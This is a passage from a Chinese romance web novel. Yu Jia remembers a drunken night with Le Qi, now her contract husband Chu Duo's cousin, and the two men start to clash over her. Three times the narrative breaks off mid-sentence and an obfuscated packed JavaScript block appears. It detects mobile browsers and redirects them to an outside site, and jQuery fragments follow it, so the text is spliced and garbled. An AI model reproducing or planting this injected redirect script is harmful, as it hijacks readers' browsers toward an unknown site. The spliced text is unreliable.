她一时说不出话,双唇轻启又合上,不解地凝望着。
乐绮与她离得太近,雪松木香裹紧了她的身体,她忍不住多嗅了几下。
清苦混合酒气,如欲色染过。
尤伽再一次感到了熟悉。
不再是一晃而逝,窸窸窣窣地,有什么东西开始在她心里作祟,仿佛要挣破牢笼跃然在她脑海,可总是差一点。
她无论如何都想不起来,到底在哪里闻过这个味道。
乐绮就在这时再次启唇:“你总该讲个先来后到吧。”
尤伽没有听懂这句话的意思,她越来越混乱,神思全被乐绮的香气牵着走了。
所以当她后知后觉意识到乐绮几近将头埋在她颈窝时,已经来不及了。
“乐绮!”
她小声呵斥他,本以为毫无作用,但身前男人竟真的停了下来。
就在他的唇距离她净白的脖颈不足毫米之时。
似乎是做了极大的心理斗争,乐绮稍稍抬起头,右手抚上尤伽的脖子,猝不及防地,轻轻掐了她一下。
尤伽几乎瞬间起了一身鸡皮疙瘩。
她惊愕万分,针扎一般细密却难以忽视的麻痛感如电流涌入她的身体,直接窜至大脑,不由分说地刺破了一个洞。
蠢蠢欲动的回忆从洞中倾泻而出,将洞口越撑越大。熟悉的场景在脑中幻影般放映,她怔愣着,无法动弹,唯一做出的反应,是不可置信地看向乐绮。
“你,你是……”
乐绮看清了她眼中瞬息的变化。
他笑容涩苦,却又如释重负,几乎是带着强压的颤音,轻声道:
“姐姐,终于想起来了吗?”
——是的,尤伽想起来了。
她全都想起来了。
虽然想起的是……
赤/身/裸/体的乐绮。
12. 惩罚
两年前,临近婚期时,尤伽心情莫名烦闷。
她决定给自己放个假,来一场单身旅行。
那阵子正赶上徐苓正式接手家里公司,忙得根本脱不开身,尤伽只能联系她另一个好闺蜜——成司镜,问她有没有时间一起。
“旅行?当然好啊,不过我最近在波士顿开会,还要两天才能结束,不然你来找我吧,我们直接从这儿飞。”
成司镜如是说。
尤伽一想,反正她也无所谓去哪,只是不想在首城对着挑婚戒、试婚纱这些琐事了,所以立刻动身飞去了波士顿。
落地的时候,成司镜的会议刚好结束,她接到尤伽,给她安排了一顿大餐,然后拉着已经酒过几巡的人去了一个私密的地下场所。
“这是哪?”
“酒吧呀。我的宝贝,单身旅行的意义是什么?就是要趁你还是单身好好享受世界,所以我专门给你安排了一个好局。”
尤伽头有些胀,皱眉看着在狂躁音浪中摇晃跳动的人群,拽住成司镜走到一边角落。
“明天不是还要赶飞机吗?今天就算了吧。”
“哎呀,玩点素的,没事的。你是不知道……”
成司镜神神秘秘伏到尤伽肩膀上,酒气热拂,在尤伽耳边不算低声地窃窃私语:“我前两天认识了一个姐姐,她不是做这种生意的,但经常需要应酬,所以攒了不少资源……她手里的都不是全职,反而很干净,体检都是半个月一做,甚至不少是大学生兼职,听说还有雏呢。”
尤伽眉心皱得更紧了:“我不喜欢没经验的。”
“什么喜不喜欢的?”成司镜不管她这一套,直接拉着人往更深处的包间走,“看了你就都喜欢了。”
尤伽本来没多晕,被酒吧高频闪烁的灯球一晃,再被成司镜扯着一走,感觉整个世界都天旋地转起来。
她勉勉强强听到成司镜在前面嘟囔了几句。
“是不是这间?哎呀,不管了,先进吧。”
进去之后,尤伽好半天才定了神,看向屋内七七八八坐着的一群人。
屋里反而比外面稍微亮一点,但也没多大用,尤伽看了半天,只看出是一堆学生模样的人。
他们看起来真的很没有经验,对着尤伽和成司镜面面相觑,一时间谁都没有说话,仿佛不知道她们要来一样。
成司镜兴奋极了:“我说什么来着?真的很嫩吧!”
尤伽深深叹了一口气。
后来两人坐到了人堆里,一群皮肤白白黄黄的人几杯酒就熟络起来,完全没有了方才的尴尬,甚至一个两个有些过分热情了,把成司镜哄得合不拢嘴,忘乎所以,果断抛下尤伽坐到了人最多的地方。
尤伽没心思,自己靠在角落里喝酒,打算等成司镜玩够了就回酒店睡觉。
喝了好一会儿,她恍惚感觉身边沙发陷下去一块。
眼皮一掀,尤伽看到一个男生坐在了她旁边,从她面前的冰桶里往杯中倒冰。
她没理会,过了会儿才发现,男生倒完冰就直接挨着她喝了起来,一杯又一杯,没有要走的意思。
他身上的淡淡雪松香拂来,是很有记忆点的味道,尤伽不免被吸引,格外瞧了他一眼。
与常见的香型不大相同,他的这款香水要更加清爽、净澈,在烟酒缭绕的酒吧包间里,实在有些格格不入。
倒更像是会坐在图书馆通宵准备期末考试的好学生。
尤伽扫视一圈,明显看到成司镜那边凑起了人堆,只有他俩躲在纷争之外,毫无存在感。
她想男生可能是迫不得已来挣钱的,不习惯这种场合又没办法抽身,心里不免给他安了个苦命的身世。
思忖半晌,尤伽稍稍递过杯子,问了句:“中国人?”
男生显然好半天才意识到尤伽在跟他说话。
他半侧过脸,看向尤伽手中的杯子,又对上她眼睛,缓了几秒,轻轻抬杯碰了一下。
“嗯。”
尤伽轻笑一声,喝了口酒,胳膊折在沙发靠背上撑着头,姿态慵懒随意,认真打量起男生。
刚才他掩在阴影里,她没有看清,这下大半身子探出来,她才发现眼前是个顶级帅哥。
乌黑明亮的瞳孔,媚而张扬的桃花眼,高耸的鼻梁,淡粉的双唇,锋利的下颚线,烈酒入喉时滚动的喉结。
尤伽醉得迷蒙不堪的双眼都忍不住亮了一下。
她往前靠了靠,想看得更清,男生却又退回阴影里。
尤伽兴致渐浓,玩心顺着轻佻的语气昭示无疑。
“第一次来?”她蹭到他肩膀,眼眉舒展,“没事,放轻松点,应该快结束了。”
男生不语。
尤伽实在看不清他,遂猜测他是在害羞。
“待着也是待着,不然你跟我玩会儿游戏吧。”
意料之外,男生犹豫了一下就答应了,还很配合地帮两人倒好酒。
游戏是无聊的猜大小,尤伽醉翁之意不在酒,再加上轻敌,竟然一上来就输了两局。
男生没提什么过分的惩罚,只是让她罚酒。
他给她换了低度数的果酒,喝起来没劲,反而让尤伽觉得嗓子甜腻,越发地渴。
她认真起来,连赢了好几局。尤伽可不心软,混着让他喝,要么就是抽胳膊,几轮下来,两人越坐越近,几乎要贴在一起。
“弟弟,这样没意思。”再次赢了之后,尤伽干脆趴伏到他耳侧,喃喃自语,“我们换点别的惩罚吧。”
“换什么?”
少年音清冽悦耳,热夏中一汪冷泉浸润了尤伽的思绪。
木质冷香缠着他的尾音,萦绕在尤伽周身。
“弟弟……”她仰脸笑开,“你让我咬你一下吧?”
说完,不等眼前人反应,尤伽敏捷地向前探头,精准咬在男生喉结旁的白皙皮肤上。
她故意磨蹭了好一会儿才松开,眼看着他脖颈上渐渐显出一个牙印。
男生的脸噌地红了,连昏暗的灯光都遮不住。
尤伽看到意料之中的表情,开心极了,咯咯笑着向后仰,差点栽倒在沙发下,被男生眼疾手快地捞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316689|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住。
四目相对之时,尤伽歪念欲动。
“你有体检报告吗?”
她轻启唇。
男生这次顿了很久,久到尤伽都要以为他是“无证上岗”了,结果他掏出手机,当真翻出一份电子体检报告来,递到她眼前。
尤伽睁着不剩多少清晰视线的眼睛,努力看向屏幕。
她首先看到了角落的医院标志,心里惊讶一瞬。这家医院以会员制著名,会员需每年缴纳高昂的年费,以此来获得全球医疗资源协调和私人管理。
尤伽暗自腹诽,成司镜认识的这个姐姐这么豪气吗,竟然带他们到这种医院体检?
混沌的脑子不支持她细想,尤伽看了检查时间和一些重点项目,就草草锁屏,起身一拍他肩膀。
“走吧?”
“……去哪?”
“废话。”尤伽掏出房卡在他面前晃了晃,“我房间啊。”
-
第二天一早,尤伽是在一阵又一阵电话铃声中被吵醒的。
她头痛欲裂,闭着眼睛接起来。
“喂?”
“祖宗,你可算接电话了!昨天是谁说不感兴趣的?我让你玩点素的,你可好,直接带人走了!都几点了,快起来赶飞机,要误机了!”
成司镜在那边扯着嗓子叽里咕噜不知道在说什么,尤伽没听进去,就听见最后的“误机”两字,深吸了一口气,无奈应声:“知道了,马上就起。”
挂断之后,尤伽又躺了一会儿,昨晚的景象才逐渐浮现。
她大概记得是带了个弟弟回来,但偏头看去,身边空无一人,只有散落满地的衣物证明那些记忆不是梦。
她勉强坐起来,细听才听到,浴室传来窸窣水声。
床头柜上摆着一份早餐,三明治和热牛奶,餐具上都带着酒店标识,但尤伽并没有点过客房服务。
她看看时间,来不及等他出来了,遂起身跑到套房里的另一个浴室火速洗了个漱,换好衣服咬了几口三明治,牛奶放在一边没喝。
临走之前,尤伽翻开钱包,看了看,大概1300多美元。她干脆把所有现金都拿出来,放在另外一侧的床头柜上,扯了张酒店的便签,匆匆写下几个字。
“抱歉,我不知道你们怎么收费,这是我所有现金,如果不够,你可以联系我的助理Aurora,这是她的电话。
另外,房费我已经付了,你可以待到退房时间再离开。”
写完扔下笔,尤伽提着行李箱,飞奔向机场。
路上,她努力回想那个男生的样子,却怎么都想不起来,就只记得他是极好看的,有一双极会勾人的眼睛。
也怪不得她,昨天酒吧房间灯光约等于无,回了酒店根本没开灯就滚到了床上,她又喝得烂醉,记不住也很正常。
不过这些都不重要,昨晚只是尤伽在异国的一次短暂艳遇,踏上飞机的那一刻,她就将一切抛之脑后。
包括那些酒,那些香气,那些吻和触摸。
还有那个,青涩而笨拙的苦命少年。
13. 对峙
尤伽真希望自己没想起来。
她宁愿这是个梦,无论两年前还是现在。
眼前的乐绮獠牙明晃晃,身后的墙壁坚硬而无处逃。
扣紧她的手掌冰凉硌人,分分寸寸,予取予求。
尤伽此刻只有一个想法——
该死的美色误人。
“……你妈妈那会儿真的一分钱都不给你吗,竟然沦落到卖身挣钱?”
尤伽脱口的第一句,还是没忍住问出自己内心巨大的疑惑。
虽然此刻氛围下,这个话题真的不怎么合适。
乐绮原本半睨的眼神立刻变成孩子气的愤怒。
“你到现在还觉得我是鸭?”他气得差点跺脚,声音不自觉扬高,“我就是跟朋友出去玩,是你莫名其妙把我带走的!”
尤伽支吾半天,依旧没有理顺其中关系。
他不是鸭,怎么就被她睡了?
最后,还是乐绮冷笑一声,不屑地解释:“你就没有想过一种可能,是你和你朋友进错房间了?”
尤伽抖了一下,震惊地抬头,伸出一个手指,指指他又指指自己,好半天才拖长声音“啊”了一声:“那我睡错了?”
她还真没想过这种可能性。
……该死的,美色误人。
乐绮的嫌弃几乎要从鼻腔溢出来:“你说呢?”
“……对不起,”尤伽回想与乐绮种种,忽然有点心虚,“我们那天喝多了。”
“喝多了都不忘带人回去睡觉,睡完倒是把人忘个干干净净。”
乐绮怨念深重,与尤伽越贴越近,手臂环成的圈越缩越小:“非得喝点酒才能想起来吗?”
尤伽感觉氧气越来越稀薄,就要压得她喘不过气了,心里也不平起来,语气沾了埋怨。
“我忘了是我的错,但你住进来的时候跟我说不就好了?住这么久了都不说,你不也是在看我笑话吗?”
乐绮被呛得一愣。
是啊……他为什么一开始没有说呢?
他为什么执拗地想要尤伽自己想起来呢?
乐绮自己也说不清。
一开始,他是想报复的。
他想知道尤伽为什么在睡过他之后,转头就和他哥结婚,为什么要这样羞辱他。
他来到这个家,就是为了报复她,为了在褚铎面前戳穿她的虚伪,为了将同等的羞辱返还给她。
可渐渐地,乐绮发现,尤伽似乎是真的不记得他了。
那种想要报复的恨意也变成了一种渗透他骨髓的羞耻感。
她并没有在羞辱他。
她甚至根本不知道他是谁。
她只是单纯地玩弄他,然后转身便抽离。
只留下他,困在那个夏夜,像是被她用过的、又随手丢弃的一张褶皱的纸,一件废品。
直到刚刚,这种情绪再次发生了变化。
他明显感受到,她的第一眼,不是在看他。
她把他认成了褚铎。
乐绮内心控制不住地燃起一团火,五脏六腑被粗暴地拧在一起,然后扔进高纯度酒精,毫不留情,燃烧殆尽。
这股火越烧越旺,直烧到了他的眼睛,烧出了他的身体。
凭什么?
凭什么褚铎可以和她结婚,而自己连被她记住都不配?
凭什么她宁愿受伤也要保护褚铎,而自己只能被冷落?
褚铎配吗?
他知道她怕黑吗?他在停电时有想过来寻她吗?
乐绮知道。
在整个别墅黑下来的一瞬间,他第一时间想到的,是尤伽正一个人陷在漆黑中。
他脑海里闪现的第一个画面,是两年前那晚,在他们蒙着窗帘缝隙透进的细碎月光交缠在一起时,尤伽醉意朦胧地在他耳边嘟囔“我有点怕黑,开点灯好不好”。
是他打开柔和昏黄的壁灯后,尤伽奖赏似地吻他的耳垂,对他说“谢谢”。
他几乎是出于本能地奔向尤伽,因为他担心她。
但他根本不知道为什么要担心这个把自己忘得一干二净的女人。
“你都忘了我还有什么好说的?”
乐绮避开她的眼睛,语气急促,尾音却虚浮。
“那你现在又在怪我什么?”
“你不该怪吗?”
“你……”
尤伽还欲与他争论,头顶灯光忽然亮起。
刺目的亮白色晃得眼睛生疼,尤伽下意识撇过视线,看向地面。
气氛也僵持在不上不下的怨愤和尴尬中。
“放开我。”
尤伽声线生硬,梗着脖子不看他,极力缩着双臂,尽量不触碰到乐绮的身体。
走廊外传来一阵均匀的脚步声,越来越近,尤伽莫名紧张起来,表情更加不耐。
乐绮也听到了,但他故意没有动,弓身凑到尤伽脸前,直逼得她不得不看向自己,才满意地勾起一点唇角。
“总之,这是你欠我的。”
他自顾自为他们的争论下了定论,嘴唇贴近尤伽耳边,气声密密匝匝砸在她耳蜗里。
“现在,谁是猎物?”
尤伽僵了一瞬,后脑发怵。
她一时没反应过来他的话,半天才想起自己曾对他说过的“雪豹狩猎”的故事。
……他绝对是变态。
该死的美色误人!
“小伽,你在吗?”
褚铎的声音遥遥传来,脚步声也越发明显。
尤伽惊慌之际,抬起胳膊给了乐绮一肘击,终于把人撞开些距离。
乐绮第二次被撞到闷痛,微微呲牙。
褚铎拐过最后一个拐角,停住步子,眼神顿了一下。
光洁地面映出斑驳人影。
入眼的一瞬,是尤伽和乐绮面对面站在墙边。尤伽神色慌乱得显眼,她向来处变不惊,褚铎极少见过她这般神情。
而乐绮,弯腰拧眉看她,眼中几分幼稚,几分怨念。
一副打情骂俏的样子。
“褚……老公,你怎么来了?”
尤伽匆忙转过身,站在褚铎身前。
他没有立刻回答,垂在身侧的手指曲了曲,视线转冷。
“刚刚停电了,见你很久没有出来,怕你出什么事情。”
“你来得可真早,都够出八轮事了。”
乐绮在一旁冷哼,语气嘲讽。
尤伽瞪他一眼,警告他闭嘴。
“我没事,就是太黑了,没敢走出去。”
褚铎一眼扫到尤伽颈间的一块淡红。
她扬着脸,那块不清不明的形状就那样大剌剌地展露,盯久了,眼眶微酸。
她体质易留痕,稍微重点力气都会见红,褚铎几乎不会在她脖颈处过分贪婪。
他的视线从那块粉晕缓慢上移到她身后的乐绮。
乐绮显然意识到了褚铎在想什么。
他歪着头,单手插兜,斜倚在墙上,微扬下巴轻笑。
胜利者姿态。
褚铎第一次失去了自控力,听到自己的声音脱离理智响在三人中间:“你为什么在这里?”
“担心……嫂子啊。”乐绮细细咀嚼这几个字,“她怕黑。”
“你怎么知道?”
“我怎么知道?我还想问你呢,你怎么不知道?”
褚铎站在原地与他对视,平静从容,避而不答。
“乐绮,她是你嫂子。你该避嫌。”
“哦,你是她丈夫,你不用避嫌,那怎么才来啊?”
“停!”尤伽左右声道被夹击,听得一个头两个大,果断举起双手阻隔战局,“别吵了,回家再吵!”
说完,她转身拿起地上的提袋,回身看到乐绮和褚铎都伸出手来,停顿一秒,绕过更近的乐绮,甩到褚铎怀里。
“头疼死了,我要回去睡觉,谁也别烦我。”
言罢,尤伽扔下两人,快步往外走去。
褚铎目视她走出几米,脚下未动。
片刻,凛冽低音徐徐:
“离她远点。”
“你说了算么?”乐绮收起吊儿郎当的模样,站直身子,嘁笑了声,“我可以做得比你好一万倍,你真的有信心,她会一直选你?”
“你什么意思。”
“我的意思是,你最好努力一点,如果有一天你们分开了,你就真的没机会了。”
褚铎没有说话。
他不知道该说什么,因为从事实上来说,他们已经分开了。
拿资源捆住她,不过是自欺欺人。
但褚铎很清楚,乐绮只是在说大话。他根本为尤伽做不了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316690|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么,更不可能比自己还好。
尤伽想要的,褚铎都给了她,乐绮有什么?乳臭未干的孩子,空有一身无用的意气罢了,他满足不了尤伽。
即使不是他,也不可能是乐绮。
褚铎收回视线,拎着袋子的手松了松,抬步离开。
-
褚铎最近下班越来越早。
爷爷那些旧部像狗皮膏药一样黏着他不放,拼命想揪他的错处,他几乎每天都有工作要带回家。
这天进门,他问佣人尤伽有没有回来。
得知她还没下班,褚铎上楼换了衣服,到厨房去拿冰水。
结果意外看到乐绮在吃冰激凌。
褚铎隐约记得那是尤伽托人买的,几步上前挡住乐绮的手。
“你怎么吃小伽的东西?”
乐绮挣开他,继续吃着,嘴里含糊不清:“她不吃草莓味,又怕浪费,我替她消灭一下。”
褚铎站在原地,一时无言。
乐绮见他并无后话,抬起头,明显看出他眼中一闪而过的不解。
心下了然,他故意疑惑扬眉:“哥,你不会连这个也不知道吧?”
每一个字都念得极慢,生怕褚铎听不清似的。
说完就好整以暇地盯着他,一副他不回答不罢休的作态。
褚铎当真没有想起来。好一会儿,他才勉强有了些印象,尤伽似乎是对他说过,阿姨买错了她不爱吃的冰激凌,让他有空帮忙吃掉。
他别过视线,面上声色不显,浑身肌肉却绷得有些僵紧。
“我知道。只是家里冰激凌不多了。”
这是他唯一记得的事情,还要多亏昨天恰好打开冷冻取了些冰块才看到。
“你嫂子如果想吃,有总比没有好。你不要都吃掉了。”
“放心,我买了很多。”乐绮打开冰箱展示,洋洋得意,“全是她爱吃的。”
褚铎的视线被他的话牵扯,投向拉出的一格抽屉,那里面密密麻麻,摆满了五色斑斓的冰激凌。
颜色多得令人眩目,扰得褚铎眼睛生疼。
他克制了又再克制,仍没有克制住地问出声:“你怎么知道她爱吃什么,不爱吃什么?”
乐绮舀出一大块冰激凌,轻松地笑。
“问啊。”
褚铎对上乐绮眼中嘲讽,有根弦在身体里扯紧。
一直未关的冰箱发出“滴滴”的提示音,刺耳,聒噪。
他移开视线,矮身拿出一盒草莓味冰激凌。
“小伽也拜托过我帮忙吃掉一些。”
褚铎尝了尝,冰激凌的口感甜又腻,他实在厌恶,强忍着吃了两口就扔进垃圾桶。
“你喜欢就多吃点。”
乐绮哼笑不语,靠在一边,边吃边看他。
尤伽的声音忽然从餐厅传来。
“谁在厨房?哦——是你们啊。”
她看着气氛奇怪的两人,疑惑两秒,直接迈到冰箱前,一眼便看到大开的抽屉里琳琅满目的冰激凌,瞬间露出喜色。
“好多冰激凌啊。”
恰好负责厨房采买的阿姨走了过来,之前尤伽就一直拜托她帮忙买一些冰激凌囤着,所以理所当然地认为是她补的。
她抱起一罐巧克力味的,关上冰箱,迎着阿姨向前走了几步,开玩笑道:
“张姨,我还没有提醒你,你就买了这么多,除了我妈妈就只有你对我这么好了,我能不能认你做干妈呀?”
阿姨一头雾水,显然没听明白尤伽在说什么,语塞着没有答话。
临到门口时,尤伽想起身后两人,停步转头。
“你俩还在这干嘛呢?”
两人眼神古怪得很,一个落拓不羁,一个晦涩阴沉。
活像两个水火不容的尊神。
褚铎的视线聚焦在冰箱一角,愈加急速的提示音似乎还响在耳边。
乐绮先开了口。
他把冰激凌放在流理台上,手撑台沿,眼尾微扬:“等你认我做干妈呢。”
霎时,弦断了。
世界归于平静。
尤伽一时没听懂,脸上写满问号。
下一秒,就见乐绮视线随意地扫向褚铎,挑衅道:
“毕竟除了你妈妈,只有我对你这么好——是吧,干,女,婿?”
14. 龌龊
尤伽很快明白过来。
她低头看着手里的冰激凌,握住的部分冰得指尖发痛,一层薄薄的冰碴覆在表面,不久滑下一颗水珠,将薄冰撕开两半。
她微微蹙起细眉。
“你买的?”
垂手看向乐绮,尤伽眼上糅杂着透入窗户的深橘夕阳。
暮色冷淡。
“对啊,很难猜吗?”
厨房内站着的几人,唯独乐绮的神色最轻松。
他像是不谙世事的顽童,感受不到此刻空气都快僵化的氛围,兀自上扬着尾音。
尤伽捏紧了冰激凌,指腹更痛了。
她停顿几秒,恢复如常。
“谢谢。”
手机恰时震动起来,尤伽拿出来看了一眼,按了开机键停下震动,对两人晃晃:
“我接个电话。”
转身,径直上了三楼。
回到房间关上门,尤伽把冰激凌放在入门处的桌上,一边回拨,一边踱到床边,缓慢躺下。
很快,耳边的等待音换成了轻柔的一声:“伽伽?刚刚在忙吗?”
尤惜时话音刚落下,蒋城就一刻等不及地接上一句:“吃饭了吗伽伽?”
听得出蒋城是硬凑过来的,声音忽大忽小,离手机有段距离。
尤伽闭上眼睛,展眉笑开。
“刚刚在上楼。还没吃呢。”
蒋城不满:“都几点了,还不吃饭?褚家作息这么不规律吗?哎,老婆你打我干嘛,我说的不对吗?”
尤伽不急不忙解释:“不是,是我刚下班回来。”
“伽伽,最近很忙吗?”尤惜时温柔唤她,“不要太累着自己了。”
“不累,妈妈。公司最近特别好,真的,我很开心。”
蒋城的大嗓门又传过来:“哎呦,闺女,我早就说了,你肯定做什么都能成!当初你说你要自己开公司,我根本都懒得问你要开啥,就是你妈妈,担心这个担心那个的,好一阵睡不好觉。”
“我那不是怕女儿受欺负吗?”
“谁敢欺负伽伽,我非上门揍他!”
“粗鲁。”
“我就是那个意思……”
尤伽听着两人你一言我一言地拌嘴,转了半个身,从侧躺变成了平躺,手机打开外放搁在一边,舒展开胳膊。
“好啦。你们最近怎么样?”
“好得很,就是想你。都多久没回家了?”
“唔……好像是有一阵了。”
这句话落下,电话那边没了下一句,倒是听见些窸窸窣窣的声音,不知道两个人在偷偷嘀咕什么。
尤伽知道这是有话不好说,轻笑着打断:
“有话就说吧。”
尤惜时这才清了清嗓:“伽伽,你和褚铎也有两年了吧?”
尤伽心里咯噔一下,睁开眼睛。
她揉揉眉心,拿起手机关掉扬声器,坐了起来。
“嗯。”
“我记得当初商量好的就是两年,你们现在……是怎么打算的?”
尤伽还在斟酌怎么回答,那边蒋城显然不耐烦起来:“就直接问吧,伽伽,你怎么还没跟他离婚啊?是不是他欺负你,拖着不肯离?我当初就说不让你结,家里不用你拿自己换什么东西,那褚家我还瞧不上他们呢,现在白纸黑字签了两年离婚,他小子还想反悔是怎么的?”
尤伽见他越说越离谱,赶忙打断:“哎呀不是啦,最近我俩都太忙了,离婚的事……过段时间肯定会离的,离婚协议都签好了。”
尤伽还是选择了保密,要是说她为了帮褚铎稳固地位而保密离婚,蒋城准又炸毛了。
当初决定联姻的时候,尤惜时和蒋城是一万个不同意,但那会儿尤氏正处在一个大坎上,稍有不慎便会前功尽弃,拿到褚家的资源,是最优的捷径。尤伽最后是把婚前协议拿给两人看,拍着胸脯保证两年离婚,才得到父母不情不愿的应允。
婚后这两年,尤氏比之前更上一个台阶,成功跻身首城前列,尤伽的公司也发展极快,她其实不后悔。
“再忙也不能拖着这事,知道吗?哎呦,一想到你为家里做这么大牺牲,我和你妈妈真是茶不思饭不想的……”
“别听他的,伽伽,你爸又胖了五斤。”
尤惜时很不留情面地拆蒋城的台,罢了,赶在蒋城反驳前再次开口:“伽伽,无论你想做什么,不想做什么,妈妈都支持你,但是一定不要委屈自己,好吗?”
尤伽用力点头。
想起尤惜时看不见,软着嗓音应道:“知道,妈妈。”
响起两声不轻不重的敲门声,尤伽拿下些手机,捂住话筒朝外喊道:“怎么了?”
“小伽,饭做好了,要一起下去吗?”
“好,稍等。”
尤伽重新把手机放到耳边:“妈,爸,我吃饭去了,晚上再视频。”
“好,多吃点啊,那天打视频,看你都瘦了。要是姓褚那小子对你不好……”
“停,我会多吃的,他对我也挺好的。”
尤伽拦下蒋城的碎碎念后就匆忙结束对话,下床走到门口。
打开门,褚铎还站在外面。
他眼神扫到放在桌上的冰激凌,只一秒就将视线收回到尤伽脸上:“冰激凌好像化了。”
尤伽看了一眼,“哦”了声,随手扔进垃圾桶。
“确实。走吧,我饿了。”
褚铎眸光动了动,手指不动声色展平开来。
到餐厅时,乐绮已经在座位上了,依旧坐在右侧第二个位置。大家似乎都默认了这个座位安排,连佣人都会直接把乐绮的餐具摆在那里。
尤伽习惯性地往他对面走,正要拉开椅子时,忽然被褚铎按住动作。
“小伽,你坐前面吧。”
语毕,不由分说地拉开原本是他固定座位的椅子,轻按尤伽肩膀让她落座,自己则在乐绮对面坐下。
“吃饭吧。”
褚铎像大家长一样发出指令,但无人动筷。
尤伽看向他,还是那副瞧不出阴晴的样子。视线掠过另一边的乐绮,他双唇抿着,目光直白而不友善,盯着褚铎。
尤伽不想管他们,率先拿起筷子。
“菜要凉了。”
她的话才像是这顿饭真正的开关,餐具敲碰声渐渐密集。
“小伽,最近在忙什么吗?见你总是加班。”
席间,褚铎问着。
尤伽对他关心自己的工作略感稀奇,不过也没多想,随口道:
“签了白慕枝之后她的各项工作都要对接,再加上于婧的生日曲还没着落,大小姐天天跟我耍性子,最近主要就伺候这两位。”
“你太心软了。实在无法约束的员工,还是直接辞掉为好。”
褚铎声色淡漠地提建议。
尤伽瞪眼睛看他,哭笑不得。
“哪有那么严重?她就是公主脾气,但工作努力上进,一步一个脚印走到今天的,怎么能因为这点事就解约?偶尔跟我发发牢骚罢了,小孩似的,也不是真的闹,我在公司可不就是她的家长吗?”
褚铎不置可否,眉目间显然是不认同的意思多些。
乐绮突然插嘴:
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316691|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么生日曲?”
“她今年年底要办生日会,想出一首单曲,一直没找到合适的制作人。”
“你应该认识很多制作人吧,怎么会难找?”
“她是演员,本身音乐功底一般,很多制作人不愿意接。我这边也得控制预算,太好的请不起,太一般的又不想请,好几年才办一次,还是想好好给她准备,太敷衍的话会被舆论反噬。”
褚铎偏头看她:“是缺资金吗?可以跟我说,或者我直接帮你介绍几个这方面的专家,应该会给我这个面子。你直接约的话,确实比较麻烦。”
尤伽摇头。
“不是这个意思。生日会本身就是免费的粉丝福利,基本没办法回本,我是商人,总不能做太亏本的买卖。这和钱无关,是公司对她的规划问题。”
乐绮若有所思地撑着头,眼里亮晶晶的。尤伽说话的时候,他就一直盯着她的嘴唇,跟着她双唇启启合合。
然后忽然来了句。
“不然你找我吧?”
尤伽一怔,下意识抬头。
褚铎也停下动作,眼风锐利扫去。
“干嘛这么惊讶?我也得工作呀,我妈把我卡都停了,我不赚钱吃什么?”乐绮后倚在椅背上,双腿交叠,手指在桌上没有规律地轻敲,“我不走后门,先把简历和作品集给你,正常走面试流程,怎么样?”
尤伽心里微动,上下打量他两眼。
“你真能做?”
“当然。而且……”
他手指一停,半扬起头,眯了眯眼睛,故意正对着尤伽念出后半句:
“我便宜好用,一贯如此。”
一语双关。
尤伽瞬间明晰他在指什么,恨不能直接拿筷子戳进他那双调戏意味十足的眼睛。
“……面试流程我明天让助理发给你。”
“是那位笑起来像兔子一样的姐姐吗?你给我留过她电话,不然我直接联系她?”
越说越过分了。
尤伽内心对他所剩无几的愧疚感即将被消磨殆尽,但也不想与他在这里争执,她不能保证以他的顽劣性子,会不会直接当着褚铎的面扯出他们那段往事来。
她实在懒得再与额外的人解释什么。
“不是她。我吃饱了。”
尤伽落筷,很快起身离席。
餐厅又只剩下两人。
乐绮的笑容在尤伽转身那一刻就消失了,他坐正了些,默不作声地重新拿起筷子,埋头吃饭。
褚铎一动未动,看着眼前晃来晃去的头顶。
“哥,你也吃完了?”乐绮夹菜时对上他冷厉目光,轻笑道,“还是你又想问,我怎么会有嫂子助理的电话?”
褚铎的手搭在桌沿,凝视半晌,缓缓收回,向后靠去。
目光向下望向乐绮,似有不解。
“我很好奇,你什么时候变成了这个样子。小姨说你性格乖张,让我好好约束你,我还只当你是和小时候一样叛逆,可你现在做的,已经完全超出了叛逆的范围。我不会一味容忍你,再如此下去,我只能请你离开。另外,小伽不像你,她是个有分寸的人,无论你有什么龌龊的想法,她都不会满足你。你好自为之。”
余音泯然,平静而威严。
乐绮看着褚铎起身,眼底终于藏不住愠色,火团烧红了眼眶。
他手上力道不自觉加大,要折断筷子似的攥得又死又紧,指骨处卡出钻心的红痕。
忽然,他手一松,筷子落地,几声声响闷重。
鼻音夹着冷笑。
“你们又不是真夫妻,让让我怎么了?”
15. 绮梦
褚铎步子一僵,呼吸几乎停滞。
“你什么意思?”
“你以为我看不出来你们只是联姻吗?哥,没有感情的两个人不叫夫妻。你跟我说这些,不是因为你有多爱她,只是是你病态的占有欲,不允许事情脱离你的掌控罢了。”
